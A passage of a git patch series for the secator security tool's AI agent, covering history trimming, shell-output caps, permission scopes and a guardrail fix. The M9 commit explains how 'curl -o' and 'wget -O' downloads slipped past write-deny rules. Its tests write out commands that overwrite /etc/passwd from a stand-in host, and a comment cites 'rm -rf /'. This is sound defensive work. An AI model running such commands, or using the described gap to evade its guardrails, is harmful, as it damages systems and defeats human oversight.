tool_result blocks", + model="claude", llm_provider="anthropic", + ) + + calls = [] + + def side_effect(**kwargs): + if not calls: # first call: inject orphan, then raise the orphan 400 + kwargs["messages"].insert(0, { + "role": "assistant", "content": None, + "tool_calls": [{"id": "toolu_late", "type": "function", + "function": {"name": "f", "arguments": "{}"}}], + }) + calls.append(1) + raise err + return ok_response + + mock_completion.side_effect = side_effect + result = call_llm([{"role": "user", "content": "hi"}], "claude", max_retries=3) + + self.assertEqual(result["content"], "ok") + self.assertEqual(mock_completion.call_count, 2) # repaired then succeeded + mock_sleep.assert_not_called() # repair skips the backoff + + @patch('time.sleep') + @patch('litellm.completion') + @patch('litellm.completion_cost') + def test_call_llm_transient_error_still_retries(self, mock_cost, mock_completion, mock_sleep): + """M4: genuinely-transient errors (429/500) still retry then succeed.""" + import litellm + from secator.ai.utils import call_llm + + ok_response = MagicMock() + ok_response.choices = [MagicMock()] + ok_response.choices[0].message.content = "ok" + ok_response.choices[0].message.tool_calls = None + ok_response.usage.total_tokens = 10 + mock_cost.return_value = 0.0 + + err = litellm.RateLimitError( + message="rate limited", model="test-model", llm_provider="anthropic", + ) + mock_completion.side_effect = [err, ok_response] + + result = call_llm([{"role": "user", "content": "hi"}], "test-model", max_retries=3) + + self.assertEqual(result["content"], "ok") + self.assertEqual(mock_completion.call_count, 2) # transient retry honored + mock_sleep.assert_called_once() + @unittest.skipUnless(ADDONS_ENABLED['ai'], 'ai addon not installed') class TestPromptUserAllChoices(unittest.TestCase): From 248cb0c52f36065f8d1857f2b6da5bbd23332c8e Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 18:19:11 +0200 Subject: [PATCH 064/129] fix(ai): model-window-aware history trim budget (M3) (#1255) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding — M3: Flat \`max_tokens_total\` ignores model window (P3, Robustness) \`ChatHistory.to_messages()\` trimmed to a fixed token budget (the flat 100k \`CONFIG.addons.ai.max_tokens_total\`) regardless of the model's real context window. On a smaller-window model (e.g. 8k/32k) the 100k budget never triggers trimming, and the next LLM call fails with \`context_length_exceeded\`. ## Root cause \`secator/ai/history.py:185\` \`to_messages(max_tokens_total)\` → \`if max_tokens_total > 0: return self.trim(max_tokens_total)\`. The caller (\`secator/tasks/ai.py:426\`) passes the flat \`self.max_tokens_total\` (default 100k), which is never clamped to the model window. ## Fix Made the effective trim budget model-aware **inside** \`history.py\` (caller unchanged): - New private \`_trim_budget(max_tokens_total)\` computes: \`min(max_tokens_total, get_context_window(model) - OUTPUT_TOKEN_RESERVATION)\`. - **Model threading:** reuses the \`model\` already stored on the \`ChatHistory\` instance (set by the caller at \`tasks/ai.py:170,297\`) — no signature change to the public \`to_messages(max_tokens_total)\`. - **Reuse (DRY):** uses the existing \`get_context_window()\` helper and the existing \`OUTPUT_TOKEN_RESERVATION\` (8192) constant — no new model lookup, no magic factor. This matches how \`get_available_tokens\`/\`should_compact\` already reserve completion headroom. - **Safety margin:** subtract the fixed 8192-token \`OUTPUT_TOKEN_RESERVATION\` (headroom for the response), consistent with the rest of the module. - **No explicit cap (0):** falls back to the window-derived budget instead of "no trim". - **No model known:** preserves legacy caller-driven behavior. Trimming mechanism (which messages drop) and H2 tool-pair safety (\`_strip_leading_orphan_tools\`) are untouched — only the budget is now model-aware. ## Tests Baseline: **44 passed**. After (4 new focused tests): **48 passed**. New tests (mock \`get_context_window\`): - small-window (8k) model → long history trimmed even with the flat 100k cap; - \`max_tokens_total=0\` + model → trims to the window-derived budget; - large-window (200k) model → flat 100k cap honored, no over-trim (asserts \`trim(100000)\`); - window-capped trim still never leaves a leading orphan tool_result (H2 preserved). 🤖 Generated with [Claude Code](https://claude.com/claude-code) https://claude.ai/code/session_01NNjPggRSVZ2xnLb7ZxWP5H Co-authored-by: Claude Opus 4.8 --- secator/ai/history.py | 25 +++++++++++-- tests/unit/test_ai_history.py | 70 +++++++++++++++++++++++++++++++++++ 2 files changed, 91 insertions(+), 4 deletions(-) diff --git a/secator/ai/history.py b/secator/ai/history.py index dcd0af49f..c6136942d 100644 --- a/secator/ai/history.py +++ b/secator/ai/history.py @@ -183,18 +183,35 @@ def add_tool(self, content: str) -> None: self.messages.append({"role": "tool", "content": content}) def to_messages(self, max_tokens_total: int = 0) -> List[Dict[str, str]]: - """Return a copy of the messages list, trimming if over max_tokens_total. + """Return a copy of the messages list, trimming if over the effective budget. Uses litellm's trim_messages which preserves system messages and recent context while removing oldest messages first. Args: - max_tokens_total: Hard token limit. If > 0, trim messages to fit. + max_tokens_total: Requested hard token limit (0 = no explicit cap). """ - if max_tokens_total > 0: - return self.trim(max_tokens_total) + budget = self._trim_budget(max_tokens_total) + if budget > 0: + return self.trim(budget) return self.messages.copy() + def _trim_budget(self, max_tokens_total: int = 0) -> int: + """Effective trim budget, capped to the model's real context window. + + M3: a flat max_tokens_total (e.g. 100k) ignores the model window and + fails with context_length_exceeded on smaller-window models. Cap it to + get_context_window(model) - OUTPUT_TOKEN_RESERVATION (headroom for the + response), and use that window-derived budget even when no explicit cap + is set. With no model known, keep the legacy caller-driven behavior. + """ + if not self.model: + return max_tokens_total + window_budget = max(get_context_window(self.model) - OUTPUT_TOKEN_RESERVATION, 1) + if max_tokens_total > 0: + return min(max_tokens_total, window_budget) + return window_budget + def trim(self, max_tokens: int) -> List[Dict[str, str]]: """Trim messages to fit under max_tokens using litellm's trim_messages. diff --git a/tests/unit/test_ai_history.py b/tests/unit/test_ai_history.py index 983a9bcb5..96fe02cf1 100644 --- a/tests/unit/test_ai_history.py +++ b/tests/unit/test_ai_history.py @@ -218,6 +218,76 @@ def test_to_messages_no_truncation_when_under_limit(self): messages = history.to_messages(max_tokens_total=500) self.assertEqual(len(messages), 2) + @patch('secator.ai.history.get_context_window') + def test_to_messages_caps_budget_to_small_window(self, mock_get_ctx): + """M3: a flat max_tokens_total is capped to a small model's window.""" + mock_get_ctx.return_value = 8000 # small-window model + + history = ChatHistory() + history.model = "small-model" + history.add_system("s" * 40) + for i in range(40): + history.add_user("x" * 4000) # long history, well over 8k tokens + + original_count = len(history.messages) + # Flat 100k cap would NOT trim on a real 8k model without this fix. + messages = history.to_messages(max_tokens_total=100000) + + self.assertLess(len(messages), original_count) # trimmed to fit the window + self.assertEqual(messages[0]["role"], "system") + + @patch('secator.ai.history.get_context_window') + def test_to_messages_no_explicit_cap_uses_window(self, mock_get_ctx): + """M3: with max_tokens_total=0 and a model, trim to the window-derived budget.""" + mock_get_ctx.return_value = 8000 + + history = ChatHistory() + history.model = "small-model" + history.add_system("s" * 40) + for i in range(40): + history.add_user("x" * 4000) + + original_count = len(history.messages) + messages = history.to_messages() # no explicit cap + + self.assertLess(len(messages), original_count) + + @patch('secator.ai.history.get_context_window') + def test_to_messages_large_window_matches_flat_budget(self, mock_get_ctx): + """M3: on a large-window model the flat cap is honored (no over-trim).""" + mock_get_ctx.return_value = 200000 # window - reserve (191808) > 100k cap + + history = ChatHistory() + history.model = "big-model" + history.add_system("short") + history.add_user("small message") + + with patch.object(history, 'trim', wraps=history.trim) as spy: + history.to_messages(max_tokens_total=100000) + # Budget = min(100000, 200000 - 8192) = 100000, unchanged by the window. + spy.assert_called_once_with(100000) + + @patch('secator.ai.history.get_context_window') + def test_to_messages_window_cap_preserves_tool_pairs(self, mock_get_ctx): + """M3 + H2: window-capped trim never leaves a leading orphan tool_result.""" + mock_get_ctx.return_value = 8000 + + history = ChatHistory() + history.model = "small-model" + history.add_system("s" * 40) + for i in range(30): + tool_calls = [{"id": f"call_{i}", "type": "function", + "function": {"name": "nmap", "arguments": "{}"}}] + history.add_assistant_with_tool_calls("x" * 2000, tool_calls) + history.add_tool_result("nmap", f"call_{i}", "y" * 2000) + + messages = history.to_messages(max_tokens_total=100000) + + # First non-system message must not be an orphan tool result. + non_system = [m for m in messages if m["role"] != "system"] + if non_system: + self.assertNotEqual(non_system[0]["role"], "tool") + def test_to_messages_no_truncation_when_zero(self): """to_messages without max_tokens_total does not truncate.""" history = ChatHistory() From 4a52ff35cb44cddc7b711b2987dcb3c398123626 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 18:19:14 +0200 Subject: [PATCH 065/129] fix(ai): cap unbounded shell output into history (M1) (#1256) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding — M1: Unbounded shell output into history (P3, Robustness) `_handle_shell` in `secator/ai/actions.py` ran the command and yielded its stdout/stderr straight into AI history with **no length cap**: ```python output = result.stdout or result.stderr or "(no output)" yield Ai(content=output, ai_type="shell_output", _context=context) ``` Root cause: `secator/ai/actions.py:687-688` (pre-change). A command emitting megabytes of stdout dumped it all into history → token blow-up / memory pressure / API errors on the next LLM call. Note the asymmetry: error text was already truncated by `_format_action_error(..., max_chars=400)`, but successful stdout was not. ## Fix - New module constant `_MAX_SHELL_OUTPUT_CHARS = 4000` — larger than the 400-char error cap because successful output carries more useful signal, but still bounded. - Extracted a small shared `_truncate(text, max_chars)` helper (DRY): **head+tail** truncation keeping both the start AND the final lines (often where the result/error is) with a clear `…(truncated N chars)…` marker in the middle. Short text passes through unchanged (no marker). - `_handle_shell` now truncates `output` before yielding. - `_format_action_error` refactored to reuse `_truncate` instead of its own inline head-truncation (removes duplication; no test pinned the old marker). Behavior preserved for short output and the `(no output)` fallback. `_handle_shell` signature and the `Ai(ai_type="shell_output")` shape unchanged. ## Tests `tests/unit/test_ai_actions.py`: - large stdout → truncated to <= cap+marker, contains the truncation marker, and both first (`HEAD_LINE`) and last (`TAIL_LINE`) lines survive; - short output passes through unchanged (no marker); - unit tests on `_truncate` (short unchanged; head+tail preserved). Counts: **baseline 71 passed → after 75 passed** (+4 new). ## Extra findings (flagged, NOT fixed) Other unbounded content paths into AI history in the same file: - `secator/ai/actions.py:940-951` `_handle_add_finding` yields `content=f'{str(finding)}'` uncapped. - `secator/ai/actions.py:740-748` `_handle_query` yields each query result finding uncapped (count bounded by `limit`, default 100, but per-finding serialized size is not). (Note: `secator/ai/history.py` has a separate token-level `truncate_to_tokens` history cap; this M1 fix is the complementary action-level cap.) Co-authored-by: Claude Opus 4.8 --- secator/ai/actions.py | 21 ++++++++++++++++-- tests/unit/test_ai_actions.py | 41 +++++++++++++++++++++++++++++++++++ 2 files changed, 60 insertions(+), 2 deletions(-) diff --git a/secator/ai/actions.py b/secator/ai/actions.py index 98e7820b6..98fdcb82c 100644 --- a/secator/ai/actions.py +++ b/secator/ai/actions.py @@ -347,6 +347,17 @@ def dispatch_action(action: Dict, ctx: ActionContext) -> Generator: yield Warning(message=f"Unknown action: {action_type}", _context=context) +def _truncate(text: str, max_chars: int) -> str: + """Cap ``text`` to ~``max_chars``, keeping head + tail so both the start and the + final lines survive, with a clear marker for the dropped middle. Short text is + returned unchanged (no marker).""" + if len(text) <= max_chars: + return text + dropped = len(text) - max_chars + half = max_chars // 2 + return f"{text[:half]}\n…(truncated {dropped} chars)…\n{text[-(max_chars - half):]}" + + def _format_action_error(e: Exception, max_chars: int = 400) -> str: """Build a concise, LLM-facing error string for a failed action dispatch. @@ -366,8 +377,7 @@ def _format_action_error(e: Exception, max_chars: int = 400) -> str: tb_tail = "\n".join(tb_lines[-6:]) if tb_lines else "" detail = f"{head}\n{tb_tail}" if tb_tail else head - if len(detail) > max_chars: - detail = detail[:max_chars] + "…(truncated)" + detail = _truncate(detail, max_chars) return ( f"Action failed with error: {detail}\n" "Fix the issue and try again." @@ -451,6 +461,12 @@ def _is_heavy_runner(runner_type: str, name: str, opts: dict = None) -> bool: _MAX_SUBAGENTS_PER_TURN = 5 _SUBAGENT_TURN_LOCK = threading.Lock() +# M1: cap shell stdout/stderr before it enters AI history so a command emitting +# megabytes can't blow up the next prompt's token budget / memory. Larger than the +# 400-char error cap because successful output carries more useful signal; head+tail +# so the model still sees the start AND the final lines (often the result/error). +_MAX_SHELL_OUTPUT_CHARS = 4000 + def _guard_subagent_fanout(ctx: "ActionContext", context: Dict) -> Optional["Warning"]: """H4: cap AI-subagent recursion depth + per-turn fan-out. @@ -685,6 +701,7 @@ def _handle_shell(action: Dict, ctx: ActionContext) -> Generator: env=_sanitized_env() ) output = result.stdout or result.stderr or "(no output)" + output = _truncate(output, _MAX_SHELL_OUTPUT_CHARS) # M1: cap so it can't blow up history yield Ai(content=output, ai_type="shell_output", _context=context) except Exception as e: diff --git a/tests/unit/test_ai_actions.py b/tests/unit/test_ai_actions.py index c79002d44..2fffec603 100644 --- a/tests/unit/test_ai_actions.py +++ b/tests/unit/test_ai_actions.py @@ -13,6 +13,7 @@ _build_hooks_from_context, _coerce_finding_fields, _sanitize_child_opts, _build_child_hooks_or_denial, _MAX_CHILD_ITERATIONS, _MAX_SUBAGENT_DEPTH, _MAX_SUBAGENTS_PER_TURN, + _MAX_SHELL_OUTPUT_CHARS, _truncate, ) from secator.output_types import Ai, Error, Info, Warning, Vulnerability, Url @@ -187,6 +188,46 @@ def test_shell_exception(self, mock_run): self.assertIsInstance(results[1], Error) self.assertIn('failed', results[1].message) + @patch('secator.ai.actions.subprocess.run') + def test_shell_output_capped_when_over_limit(self, mock_run): + # M1: huge stdout must be truncated to <= cap + marker and carry the marker. + big = "HEAD_LINE\n" + ("x" * (_MAX_SHELL_OUTPUT_CHARS * 3)) + "\nTAIL_LINE" + mock_run.return_value = MagicMock(stdout=big, stderr='') + ctx = ActionContext(targets=['t.com'], model='m') + + results = list(_handle_shell({'action': 'shell', 'command': 'dump'}, ctx)) + + content = results[1].content + self.assertLess(len(content), len(big)) + # body is bounded by the cap (plus the short marker line) + self.assertLessEqual(len(content), _MAX_SHELL_OUTPUT_CHARS + 40) + self.assertIn('truncated', content) + # head + tail preserved so the model sees the start AND the final lines + self.assertIn('HEAD_LINE', content) + self.assertIn('TAIL_LINE', content) + + @patch('secator.ai.actions.subprocess.run') + def test_shell_output_short_passes_through_unchanged(self, mock_run): + # M1: short output must pass through untouched (no marker). + mock_run.return_value = MagicMock(stdout='root\n', stderr='') + ctx = ActionContext(targets=['t.com'], model='m') + + results = list(_handle_shell({'action': 'shell', 'command': 'whoami'}, ctx)) + + self.assertEqual(results[1].content, 'root\n') + self.assertNotIn('truncated', results[1].content) + + def test_truncate_short_text_unchanged(self): + self.assertEqual(_truncate('short', 100), 'short') + + def test_truncate_keeps_head_and_tail(self): + text = 'START' + ('m' * 500) + 'END' + out = _truncate(text, 100) + self.assertLessEqual(len(out), 100 + 40) + self.assertTrue(out.startswith('START')) + self.assertTrue(out.endswith('END')) + self.assertIn('truncated', out) + def test_shell_decrypts_command(self): encryptor = MagicMock() encryptor.decrypt.side_effect = lambda x: x.replace('ENCRYPTED', 'real-host') From b84000e576866b1baa91c368ff12ff2adc4a29e8 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 18:19:18 +0200 Subject: [PATCH 066/129] fix(ai): treat output-flag destinations as writes (M9) (#1257) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding — M9 (P1 Security): `curl -o`/`wget -O` writes seen as reads Output-flag download destinations were classified as **reads**, so `deny write(/etc/*)` never fired and the write was evaluated against read rules → **guardrail bypass**. ## Root cause `secator/ai/guardrails.py` — `detect_paths_with_access()`. Shell redirects (`>`, `>>`, `2>`) were classified write (guardrails.py:441-444), but a command's non-flag args were all classified by `base_access` (guardrails.py:478), so `curl -o /etc/x`'s destination was tagged **read**. ## Fix - New DRY flag-map `OUTPUT_FLAG_COMMANDS` (guardrails.py:~30): `curl` → `-o`/`--output`; `wget` → `-O`/`--output-document`. - One branch in the existing arg loop marks the flag's destination as `write` via the existing `_add_path(dest, "write")` collection (no parallel parser). Handles `-o FILE`, `--output=FILE`, and `-oFILE`; `-` (stdout) is skipped. - `tee` is already covered (it is in `WRITE_COMMANDS`, positional args already write). - Redirect-write and normal read classification preserved. ## Tools/flags covered `curl -o/--output`, `wget -O/--output-document`. ## Residual (not covered — separate findings) `dd of=`, `tar -f`, `>()` process substitution, `install` dest, `cp` dest. ## Tests - **Locally proven** (`TestOutputFlagWrites`, 8 tests): stub the shell parser (`extract_commands`) so the write-classification logic runs without `shfmt`. Cover space/=/attached forms for both tools, no-flag-stays-read, `-o -` (stdout) ignored, and redirect-still-write. All 8 pass. - **shfmt-gated** (3 tests calling `detect_paths_with_access` end-to-end): `test_curl_output_flag_classified_as_write`, `test_wget_output_flag_classified_as_write` require the real `shfmt` binary (absent locally → safecmd returns [] → they fail locally only; pass in CI). `test_curl_without_output_flag_stays_read` passes locally. ## Baseline vs after (local, no shfmt) - Baseline: 55 failed, 82 passed (all 55 are pre-existing shfmt/safecmd env failures). - After: 57 failed, 91 passed. Delta = +9 passing (8 stubbed + 1 read-only) and +2 failing = exactly the 2 shfmt-gated new tests. **No pre-existing test regressed.** 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/ai/guardrails.py | 36 ++++++++++++++++--- tests/unit/test_ai_guardrails.py | 61 ++++++++++++++++++++++++++++++++ 2 files changed, 93 insertions(+), 4 deletions(-) diff --git a/secator/ai/guardrails.py b/secator/ai/guardrails.py index f229dca23..f674b241e 100644 --- a/secator/ai/guardrails.py +++ b/secator/ai/guardrails.py @@ -27,6 +27,14 @@ # Execute-type commands EXECUTE_COMMANDS = frozenset({"python", "python3", "bash", "sh", "node", "ruby", "perl", "gcc", "g++", "make", "go"}) +# M9: download tools that write to a file via an OUTPUT FLAG — the flag's destination +# is a WRITE, not a read (else `deny write(/etc/*)` never fires). Focused set; residual +# write-vs-read gaps (dd of=, tar -f, cp/install dest, >() ) are tracked separately. +OUTPUT_FLAG_COMMANDS = { + "curl": frozenset({"-o", "--output"}), + "wget": frozenset({"-O", "--output-document"}), +} + # Exec-wrappers run a *different* command passed as args (`timeout 60 rm -rf /`), # so we peel the wrapper and check the INNER command, not the allow-listed name (C2). EXEC_WRAPPERS = frozenset({ @@ -477,11 +485,31 @@ def _extract_docker_volumes(args: List[str]): cmd_class = classify_command(cmd_name) base_access = "write" if cmd_class == "write" else "read" - for arg in args[1:]: - if arg.startswith('-'): - continue - if _is_file_path(arg): + # M9: output-flag destinations are writes (curl -o/wget -O), not reads. + write_flags = OUTPUT_FLAG_COMMANDS.get(cmd_name.rsplit('/', 1)[-1], frozenset()) + + sub_args = args[1:] + i = 0 + while i < len(sub_args): + arg = sub_args[i] + if write_flags: + dest = None + if arg in write_flags and i + 1 < len(sub_args): # -o FILE / --output FILE + dest, i = sub_args[i + 1], i + 1 + elif '=' in arg and arg.split('=', 1)[0] in write_flags: # --output=FILE + dest = arg.split('=', 1)[1] + else: # -oFILE (short attached form) + for f in write_flags: + if len(f) == 2 and arg.startswith(f) and len(arg) > 2: + dest = arg[2:] + break + if dest and dest != '-': # '-' is stdout, not a file + _add_path(dest, "write") + i += 1 + continue + if not arg.startswith('-') and _is_file_path(arg): _add_path(arg, base_access) + i += 1 return paths diff --git a/tests/unit/test_ai_guardrails.py b/tests/unit/test_ai_guardrails.py index 9f937d11a..e915cd542 100644 --- a/tests/unit/test_ai_guardrails.py +++ b/tests/unit/test_ai_guardrails.py @@ -846,6 +846,23 @@ def test_mixed_read_write_in_single_command(self): self.assertEqual(access_map["/etc/hosts"], "read") self.assertEqual(access_map["/tmp/copy.txt"], "write") + # --- M9: output-flag destinations are writes (shfmt-gated: need real shell parser) --- + + def test_curl_output_flag_classified_as_write(self): + """curl -o dest is a write, so `deny write(/etc/*)` fires (not a read).""" + paths = detect_paths_with_access("curl -o /etc/passwd http://x") + self.assertIn(("/etc/passwd", "write"), paths) + + def test_wget_output_flag_classified_as_write(self): + """wget -O dest is a write.""" + paths = detect_paths_with_access("wget -O /etc/passwd http://x") + self.assertIn(("/etc/passwd", "write"), paths) + + def test_curl_without_output_flag_stays_read(self): + """curl with no -o only reads (URL is not a file path); no write leaks in.""" + paths = detect_paths_with_access("curl http://x") + self.assertNotIn("write", [a for _, a in paths]) + def test_fd_redirect_2_to_1_not_detected_as_path(self): """2>&1 is a fd redirect, not a file path.""" paths = detect_paths('curl -sk "http://example.com" 2>&1 | head -100') @@ -1116,5 +1133,49 @@ def test_runtime_allow_subdirectory_matching(self): self.assertEqual(result.decision, "allow") +class TestOutputFlagWrites(unittest.TestCase): + """M9: output-flag write classification, proven locally by stubbing the shell + parser (real shfmt is absent in CI-less envs, which makes the tests above no-ops).""" + + def _paths(self, argv, redirects=None): + """Run detect_paths_with_access with a stubbed extract_commands (no shfmt).""" + with patch('safecmd.bashxtract.extract_commands', + return_value=([argv], [], redirects or [])): + return detect_paths_with_access(" ".join(argv)) + + def test_curl_o_space_form_is_write(self): + paths = self._paths(["curl", "-o", "/etc/passwd", "http://x"]) + self.assertIn(("/etc/passwd", "write"), paths) + + def test_curl_long_output_equals_form_is_write(self): + paths = self._paths(["curl", "--output=/etc/passwd", "http://x"]) + self.assertIn(("/etc/passwd", "write"), paths) + + def test_curl_o_attached_short_form_is_write(self): + paths = self._paths(["curl", "-o/etc/passwd", "http://x"]) + self.assertIn(("/etc/passwd", "write"), paths) + + def test_wget_O_form_is_write(self): + paths = self._paths(["wget", "-O", "/etc/passwd", "http://x"]) + self.assertIn(("/etc/passwd", "write"), paths) + + def test_wget_output_document_equals_form_is_write(self): + paths = self._paths(["wget", "--output-document=/etc/passwd", "http://x"]) + self.assertIn(("/etc/passwd", "write"), paths) + + def test_curl_no_output_flag_has_no_write(self): + paths = self._paths(["curl", "http://x"]) + self.assertNotIn("write", [a for _, a in paths]) + + def test_curl_o_stdout_dash_not_treated_as_file(self): + paths = self._paths(["curl", "-o", "-", "http://x"]) + self.assertEqual(paths, []) + + def test_redirect_still_write_with_output_flag_cmd(self): + """Redirect classification is preserved alongside the new flag handling.""" + paths = self._paths(["echo", "x"], redirects=[("", "/etc/y")]) + self.assertIn(("/etc/y", "write"), paths) + + if __name__ == '__main__': unittest.main() From dca9f21fe23604a206cba0ef20d7954d26c045d0 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 18:19:21 +0200 Subject: [PATCH 067/129] fix(ai): give allow_all real session-wide scope vs one-shot allow (M12) (#1258) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit ## Finding — M12: \`allow_all\` == \`allow\` semantics (P2, Low) \`RemoteBackend\` treated the two remote permission answers identically: choosing "allow all" granted no broader scope than a single-invocation allow. ## Root cause \`secator/ai/interactivity.py:139-144\` — \`RemoteBackend.ask_user\` called \`_add_permission_rules\` for **both** \`allow\` and \`allow_all\`. Meanwhile H9 (\`guardrails.py:1014-1018\`) already defines the intended split for the CLI: option 0 "Allow this command" adds **no** rule (one-shot), option 1 "Allow all" adds a session rule. The remote path collapsed both into the same rule-adding branch, so \`allow_all\` was no broader than \`allow\`. ## Fix Gate rule persistence on \`allow_all\` only: - \`allow\` (single) → returns allow for this invocation, adds **no** session rule (true one-shot, per H9 — the next matching action re-prompts). - \`allow_all\` → persists the existing session-scoped **\`shell()\`** pattern rule via the unchanged \`_add_permission_rules\` → \`engine.add_runtime_allow\`. Subsequent matching commands are then auto-allowed at the command-name layer (\`_check_value("shell", ...)\`) without a new prompt. - \`deny\` unchanged. Reuses the existing rule-construction mechanism and the engine's existing \`shell()\` / \`target(...)\` / \`read|write(...)\` shapes — no new rule grammar, no cross-lane edit (guardrails.py untouched). ## Tests Added to \`TestRemoteBackend\`: - \`allow_all\` persists a session-scoped \`shell(nmap)\` rule → a 2nd, different nmap invocation is auto-allowed (asserted at \`_check_value\`, the name layer, to avoid the safecmd/shfmt parser dep absent in some envs). - single \`allow\` persists **no** rule → 2nd match not pre-allowed (re-prompts; H9 one-shot preserved). - \`deny\` unchanged, never touches \`runtime_allow\`. Baseline: **29 passed**. After: **32 passed** (`tests/unit/test_ai_interactivity.py`). \`ast.parse\` on \`interactivity.py\` OK. 🤖 Generated with [Claude Code](https://claude.com/claude-code) Co-authored-by: Claude Opus 4.8 --- secator/ai/interactivity.py | 11 +++-- tests/unit/test_ai_interactivity.py | 71 +++++++++++++++++++++++++++++ 2 files changed, 78 insertions(+), 4 deletions(-) diff --git a/secator/ai/interactivity.py b/secator/ai/interactivity.py index 7deb84cbd..ecaa9bdf7 100644 --- a/secator/ai/interactivity.py +++ b/secator/ai/interactivity.py @@ -136,10 +136,13 @@ def ask_user(self, question, choices, session_id, prompt_type="follow_up", **con if prompt_type == "permission": engine = context.get("engine") - if answer in ("allow", "allow_all") and engine: - ptype = context.get("permission_type") - value = context.get("value", "") - self._add_permission_rules(engine, ptype, value) + if answer in ("allow", "allow_all"): + # M12: allow_all persists a session-scoped allow rule; single allow is + # a true one-shot that adds NO rule (H9) — next match re-prompts. + if answer == "allow_all" and engine: + ptype = context.get("permission_type") + value = context.get("value", "") + self._add_permission_rules(engine, ptype, value) return {"answer": "allow"} return {"answer": "deny"} diff --git a/tests/unit/test_ai_interactivity.py b/tests/unit/test_ai_interactivity.py index 9e3df09c2..541e1bc03 100644 --- a/tests/unit/test_ai_interactivity.py +++ b/tests/unit/test_ai_interactivity.py @@ -287,6 +287,77 @@ def test_expire_stale_pending_noop_without_engine(self): backend = RemoteBackend(timeout=60, query_engine=None) backend._expire_stale_pending("session1") # must not raise + def _permission_backend(self, answer): + """RemoteBackend whose poll resolves to `answer` for a shell prompt.""" + from secator.ai.interactivity import RemoteBackend + mock_engine = MagicMock() + mock_engine.search.return_value = [{"answer": answer, "_timestamp": 1.0}] + return RemoteBackend(timeout=60, query_engine=mock_engine, poll_interval=0.01) + + @staticmethod + def _shell_name_allowed(engine, cmd_name): + """True if the engine auto-allows this shell command NAME (no re-prompt). + + Asserted at the command-name layer (``_check_value``) rather than via + check_action() so the test does not depend on the safecmd/shfmt parser, + which is not present in every env. This is the exact layer a persisted + ``shell()`` session rule matches on. + """ + return engine._check_value("shell", cmd_name).decision == "allow" + + def test_allow_all_persists_session_rule_second_action_auto_allowed(self): + """M12: allow_all adds a session-scoped rule; a 2nd matching action needs no prompt.""" + from secator.ai.guardrails import PermissionEngine + engine = PermissionEngine(config={}) # no static rules: unknown cmd -> no auto-allow + backend = self._permission_backend("allow_all") + + # Pre-condition: with no rule, the command name is not pre-allowed. + self.assertFalse(self._shell_name_allowed(engine, "nmap")) + + result = backend.ask_user( + "Shell `nmap -sV` requires approval", ["deny", "allow", "allow_all"], + "session1", prompt_type="permission", engine=engine, + permission_type="shell", value="nmap -sV", prompt_uuid="u1", + ) + self.assertEqual(result["answer"], "allow") + # A session-scoped shell(nmap) pattern rule must now be present. + self.assertTrue( + any(rt == "shell" and "nmap" in patterns for rt, patterns in engine.runtime_allow), + "allow_all must persist a session-scoped shell(nmap) rule", + ) + # A SECOND, DIFFERENT nmap invocation is auto-allowed without a new prompt. + self.assertTrue(self._shell_name_allowed(engine, "nmap")) + + def test_single_allow_does_not_persist_rule_second_action_reprompts(self): + """M12/H9: single allow is one-shot — no rule added, a 2nd match re-prompts.""" + from secator.ai.guardrails import PermissionEngine + engine = PermissionEngine(config={}) + backend = self._permission_backend("allow") + + result = backend.ask_user( + "Shell `nmap -sV` requires approval", ["deny", "allow", "allow_all"], + "session1", prompt_type="permission", engine=engine, + permission_type="shell", value="nmap -sV", prompt_uuid="u1", + ) + self.assertEqual(result["answer"], "allow") + # No session rule was persisted -> a second matching action is not pre-allowed. + self.assertEqual(engine.runtime_allow, []) + self.assertFalse(self._shell_name_allowed(engine, "nmap")) + + def test_deny_unchanged_no_rule(self): + """deny returns deny and never touches runtime_allow.""" + from secator.ai.guardrails import PermissionEngine + engine = PermissionEngine(config={}) + backend = self._permission_backend("deny") + + result = backend.ask_user( + "Shell `nmap` requires approval", ["deny", "allow", "allow_all"], + "session1", prompt_type="permission", engine=engine, + permission_type="shell", value="nmap", prompt_uuid="u1", + ) + self.assertEqual(result["answer"], "deny") + self.assertEqual(engine.runtime_allow, []) + class TestCreateBackend(unittest.TestCase): """Verify create_backend factory.""" From 4b502f487ee868a5ddcff0ffedb846c5f021d3a8 Mon Sep 17 00:00:00 2001 From: Olivier Cervello Date: Wed, 1 Jul 2026 19:02:44 +0200 Subject: [PATCH 068/129] fix(ai): fix unsubstituted template vars + phantom tool in prompts (D1) (#1259) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Finding **D1 — Prompt template/tool drift** (P4 Pertinence). ## Problem 1. **Unsubstituted template vars.** `constraints/queries.txt` (included by every mode) references `$query_types` and `$output_types_reference`, but `get_system_prompt` only substituted `output_types_reference` in *chat* mode and `query_types` in **no** mode. Result: the rendered system prompt leaked literal `$query_types` (all 3 modes) and `$output_types_reference` (attack + exploit) to the LLM. 2. **Phantom tool.** `constraints/common.txt` `` example taught `run_query(...)` — a tool that does not exist. The real tool is `query_workspace` (`TOOL_ACTION_MAP["query_workspace"] == "query"`). The example JSON was also malformed (unbalanced braces, wrong `_type` shape). ## Fix - `secator/ai/prompts.py` `get_system_prompt`: build one substitution dict with `query_types=build_query_types()` and `output_types_reference=build_output_types_reference()` for **all** modes (library_reference/path_vars still only for attack/exploit). Values derive from `FINDING_TYPES`, so no hardcoded list to drift. Uses existing `safe_substitute`. - `secator/ai/prompts/constraints/common.txt:15`: `run_query({...})` -> `query_workspace(query={"_type": "vulnerability", "severity": {"$in": ["high", "critical"]}})`, matching the `query_workspace` examples already in `queries.txt`. ## Value sources - `$query_types` <- `build_query_types()` (comma-joined `cls.get_name()` over `FINDING_TYPES`). - `$output_types_reference` <- `build_output_types_reference()` (same registry). - Real tool name confirmed against `secator/ai/tools.py` `TOOL_ACTION_MAP` (read-only). ## 